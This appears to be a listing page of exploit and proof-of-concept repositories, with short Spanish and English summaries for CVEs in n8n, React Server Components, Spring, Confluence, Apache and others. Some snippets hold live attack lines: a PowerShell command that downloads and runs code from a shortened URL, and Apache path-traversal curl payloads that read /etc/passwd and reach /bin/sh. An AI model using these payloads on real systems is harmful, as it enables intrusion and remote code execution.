cve-2026-21858

CVE-2026-21858 + CVE-2025-68613 - Cadena Completa de n8n Lectura Arbitraria de Archivos sin Autenticación → Forja de Token de Admin → Bypass de Sandbox → RCE...

CVE-2025-37164

CVE-2025-37164 A remote code execution issue exists in HPE OneView. How does this detection method work? This template matches on the OneView title tag, extracts the version from the JavaScript artifactVersion variable, and flags instances running versions below 11.00 as potentially vulnerable...

cve-2025-55182-scanner

Escáner de Indicadores CVE-2025-55182 Este repositorio proporciona un escáner basado en Python para indicadores de compromiso relacionados con CVE-2025-55182 RCE en React Server Components y el malware multi-etapa específico descrito en el informe de incidentes de Asleepace. Está diseñado para...

react2shell-scanner

Escáner React2Shell – con PoC CVE-2025-55182 – PoC de RCE en React Server Components Cliente de exploit educativo para el laboratorio React2Shell de Hidden Investigations. Este repositorio contiene una herramienta de exploit de prueba de concepto PoC para un solo host para la vulnerabilidad...

CVE-2017-7269

EN GenWebDavIISExploit es una herramienta PoC que demuestra la explotación de una vulnerabilidad conocida en el componente WebDAV de IIS6. Esta herramienta está diseñada con fines educativos y de investigación para mostrar cómo se puede aprovechar la vulnerabilidad para ejecutar código arbitrario...

CVE-2019-25137-RCE

CVE-2019-25137-RCE CVE-2019-25137 is an Umbraco RCE vulnerability, the script within this repo is slightly altered This exploit script is based on script by Alexandre ZANNI EDB-ID 49488. It is slightly altered, changed the flow to skip token extraction before login, performed the login first...

Dolibarr-17.0.0-Exploit-CVE-2023-30253

Readme.md CVE-2023-30253 CVE-2023-30253 es una vulnerabilidad de seguridad en el software Dolibarr que permite a usuarios autenticados ejecutar código remoto mediante una técnica de manipulación de mayúsculas en datos inyectados. Impacto Esta vulnerabilidad puede provocar la ejecución remota de...

patch-CVE-2026-31337

Patch: CVE-2026-31337 Vulnerability Details CVE : CVE-2026-31337 Product : Ivanti Connect Secure Description : RCE via authentication bypass Severity : Critical CISA KEV : Yes confirmed exploited in the wild Patch Status: DEPLOYED Field| Value ---|--- Patch Date| 2026-08-15 Status| deployed...

CVE-2022-30190

CVE 30190 Amine TITROFINE | December 17, 2022 Follina CVE-2022-30190 is a Microsoft Office zero-day vulnerability that has recently been discovered. It’s a high-severity vulnerability that hackers can leverage for remote code execution RCE attacks. It exists when MSDT is called using the URL...

git-dumper

git-dumper Una herramienta para volcar un repositorio git de un sitio web. Instalación Se puede instalar fácilmente con pip: root@kitploit: pip install git-dumper Uso root@kitploit: usage: git-dumper options URL DIR Dump a git repository from a website. positional arguments: URL url DIR output...

CVE-2022-22965-PoC

CVE-2022-22965 Spring4Shell Proof of Concept Test the RCE Remote Code Execution in Spring Core​ Build the image BuildKit based build is required so you need to enable it. Easiest way is to set the DOCKERBUILDKIT=1 environment variable when invoking the docker build command, such as: root@kitploit...

laravel-filemanager-unrestricted-upload

Laravel FileManager Unrestricted File Upload CVE-2025-56399 CWE-434: Unrestricted Upload of File with Dangerous Type CVSS Score: 8.5 High 📋 Description This tool provides a Proof of Concept PoC for CVE-2025-56399 , a critical vulnerability in alexusmai/laravel-file-manager versions ≤ 3.3.1. The...

CVE-2026-1357

CVE-2026-1357 — WPvivid Backup & Migration RCE Unauthenticated Arbitrary File Upload → Remote Code Execution...

CVE-2026-39808

CVE-2026-39808 On November 2025, a critical vulnerability was discovered on Fortinet's FortiSandbox which allowed an unauthenticated attacker to execute commands in the underlying OS as root. The vulnerability was patched and finally made public on April 2026. This vulnerability affects...

Spring4Shell-POC

Spring4Shell-POC CVE-2022-22965 Spring4Shell CVE-2022-22965 Prueba de Concepto/Información + Un servidor Tomcat vulnerable con una aplicación Spring4Shell vulnerable. Esta mañana temprano, múltiples fuentes han informado de una posible explotación RCE en el popular framework Java Spring. El nombr...

CVE-2014-4113

CVE-2014-4113 PowerShell CVE-2014-4113 Solo Windows x64 iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...

CVE-2022-39197

CVE-2022-39197 RCE POC Usage Prepare Payload 1. Edit Line 19 with your payload in EvilJar/src/main/java/Exploit.java 2. Build using jar mvn clean compile assembly:single 3. Move EvilJar-1.0-jar-with-dependencies.jar from EvilJar/target/ to serve/ folder 4. Edit serve\evil.svg replace attacker 5...

CVE-2023-6972-Exploit-Arbitrary-File-Deletion

CVE-2023-6972 Prueba de Concepto PoC Descripción Este repositorio contiene una prueba de concepto PoC del exploit para CVE-2023-6972. La vulnerabilidad permite la eliminación arbitraria de archivos sin autenticación AFD en el plugin de migración de respaldo de Wordpress Nota: Un análisis técnico...

Confluence-EvilJar

aaaademo/Confluence-EvilJar Use CVE-2023-22515 to upload a jar package via the backend to achieve RCE. root@kitploit: git clone https://github.com/aaaademo/Confluence-EvilJar cd Confluence-EvilJar mvn package CMDshell root@kitploit: http://confluence.local/plugins/servlet/testbin/cmServlet Godzil...

cve-2021-41773

cve-2021-41773 CVE-2021-41773 Path Traversal vulnerability in Apache 2.4.49. RCE POC PoC Payload curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh Follow us Vulnmachines...